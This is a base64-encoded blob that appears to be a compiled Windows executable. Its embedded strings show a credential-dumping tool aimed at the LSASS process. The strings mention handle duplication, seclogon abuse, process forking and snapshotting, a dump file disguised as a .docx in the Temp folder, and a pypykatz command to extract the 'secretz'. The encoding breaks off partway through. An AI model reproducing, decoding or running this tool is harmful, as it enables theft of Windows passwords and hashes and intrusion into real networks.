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SB0YXJnZXQgcHJvY2VzcyBiZWZvcmUgZHVtcGluZwAgICAgLS1zbmFwc2hvdCwgLXMAAAAgICAgICAgICAgICBzbmFwc2hvdCB0aGUgdGFyZ2V0IHByb2Nlc3MgYmVmb3JlIGR1bXBpbmcAICAgIC0tZHVwLCAtZAAAAAAgICAgICAgICAgICBkdXBsaWNhdGUgYW4gZXhpc3RpbmcgTFNBU1MgaGFuZGxlACAgICAtLW1hbHNlY2xvZ29uLCAtbQAAAAAgICAgICAgICAgICBvYnRhaW4gYSBoYW5kbGUgdG8gTFNBU1MgYnkgKGFiKXVzaW5nIHNlY2xvZ29uAAAAAAAAICAgIC0tYmluYXJ5IEJJTl9QQVRILCAtYiBCSU5fUEFUSAAAAAAAACAgICAgICAgICAgIGZ1bGwgcGF0aCB0byB0aGUgZGVjb3kgYmluYXJ5IHVzZWQgd2l0aCAtLWR1cCBhbmQgLS1tYWxzZWNsb2dvbgAgICAgLS1oZWxwLCAtaAAAAAAAACAgICAgICAgICAgIHByaW50IHRoaXMgaGVscCBtZXNzYWdlIGFuZCBsZWF2ZQAtLWdldHBpZAAtdgAtLXZhbGlkAC13AC0td3JpdGUAbWlzc2luZyAtLXdyaXRlIHZhbHVlAC1wAC0tcGlkAG1pc3NpbmcgLS1waWQgdmFsdWUAMDEyMzQ1Njc4OQBJbnZhbGlkIFBJRDogJXMALWYALS1mb3JrAC1zAC0tc25hcHNob3QALWQALS1kdXAALW0ALS1tYWxzZWNsb2dvbgAtczIALS1zdGFnZTIALWIALS1iaW5hcnkAbWlzc2luZyAtLWJpbmFyeSB2YWx1ZQAAAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAAAAAAAAVGhlIGJpbmFyeSAiJXMiIGRvZXMgbm90IGV4aXN0cy4ALWgALS1oZWxwAGludmFsaWQgYXJndW1lbnQ6ICVzAElmIE1hbFNlY0xvZ29uIGlzIGJlaW5nIHVzZWQgbG9jYWxseSwgeW91IG5lZWQgdG8gcHJvdmlkZSB0aGUgZnVsbCBwYXRoOiAlcwAAAAAAVGhlIG9wdGlvbnMgLS1mb3JrIGFuZCAtLXNuYXBzaG90IGNhbm5vdCBiZSB1c2VkIGF0IHRoZSBzYW1lIHRpbWUATFNBU1MgUElEOiAlbGQAAAAAAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAAAAAAAElmIC0tZHVwIGFuZCAtLW1hbHNlY2xvZ29uIGFyZSB1c2VkLCB5b3UgbmVlZCB0byBwcm92aWRlIGEgYmluYXJ5IHdpdGggLS1iaW5hcnkAVGhlIG9wdGlvbiAtLWJpbmFyeSBjYW4gb25seSBiZSB1c2VkIHdpdGggLS1tYWxzZWNsb2dvbiBhbmQgLS1kdXAAAAAAAAAAAAAAAAAAAABQkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAUABAAAACKABQAEAAADsbwFAAQAAADiQAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVbmtub3duIGVycm9yAAAAQXJndW1lbnQgZG9tYWluIGVycm9yIChET01BSU4pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFBhcnRpYWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFBMT1NTKQAAAABUb3RhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoVExPU1MpAAAAAAAAVGhlIHJlc3VsdCBpcyB0b28gc21hbGwgdG8gYmUgcmVwcmVzZW50ZWQgKFVOREVSRkxPVykAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAAAAAAAAAF9tYXRoZXJyKCk6ICVzIGluICVzKCVnLCAlZykgIChyZXR2YWw9JWcpCgAAeHT//yx0///Ec///THT//1x0//9sdP//PHT//01pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgAAAAAAQWRkcmVzcyAlcCBoYXMgbm8gaW1hZ2Utc2VjdGlvbgAgIFZpcnR1YWxRdWVyeSBmYWlsZWQgZm9yICVkIGJ5dGVzIGF0IGFkZHJlc3MgJXAAAAAAAAAAACAgVmlydHVhbFByb3RlY3QgZmFpbGVkIHdpdGggY29kZSAweCV4AAAgIFVua25vd24gcHNldWRvIHJlbG9jYXRpb24gcHJvdG9jb2wgdmVyc2lvbiAlZC4KAAAAAAAAACAgVW5rbm93biBwc2V1ZG8gcmVsb2NhdGlvbiBiaXQgc2l6ZSAlZC4KAAAAAAAAACVkIGJpdCBwc2V1ZG8gcmVsb2NhdGlvbiBhdCAlcCBvdXQgb2YgcmFuZ2UsIHRhcmdldGluZyAlcCwgeWllbGRpbmcgdGhlIHZhbHVlICVwLgoAAAAAAACgef//oHn//6B5//+gef//oHn//wh5//+gef//0Hn//wh5//8zef//AAAAAAAAAAAobnVsbCkAACgAbgB1AGwAbAApAAAATmFOAEluZgAAAF6k//+Inf//iJ3//3ik//+Inf//gKP//4id//+Xo///iJ3//4id//8MpP//SKT//4id//+aof//s6H//4id///Pof//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//+yh//+Inf//oKL//4id///Yov//EKP//0ij//+Inf//VaD//4id//+Inf//RaH//4id//+Inf//iJ3//4id//+Inf//iJ3//9uk//+Inf//iJ3//4id//+Inf//AJ7//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//gp///4id////nv//eJ7//32g///VoP//DaH//7Wg//94nv//YJ7//4id//9cof//fKH//0Sf//8Anv//FaD//4id//+Inf//057//2Ce//8Anv//iJ3//4id//8Anv//iJ3//2Ce//8AAAAASW5maW5pdHkATmFOADAAAAAAAAAAAPg/YUNvY6eH0j+zyGCLKIrGP/t5n1ATRNM/BPp9nRYtlDwyWkdVE0TTPwAAAAAAAPA/AAAAAAAAJEAAAAAAAAAIQAAAAAAAABxAAAAAAAAAFEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAADgPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAZAAAAfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8D8AAAAAAAAkQAAAAAAAAFlAAAAAAABAj0AAAAAAAIjDQAAAAAAAavhAAAAAAICELkEAAAAA0BJjQQAAAACE15dBAAAAAGXNzUEAAAAgX6ACQgAAAOh2SDdCAAAAopQabUIAAEDlnDCiQgAAkB7EvNZCAAA0JvVrDEMAgOA3ecNBQ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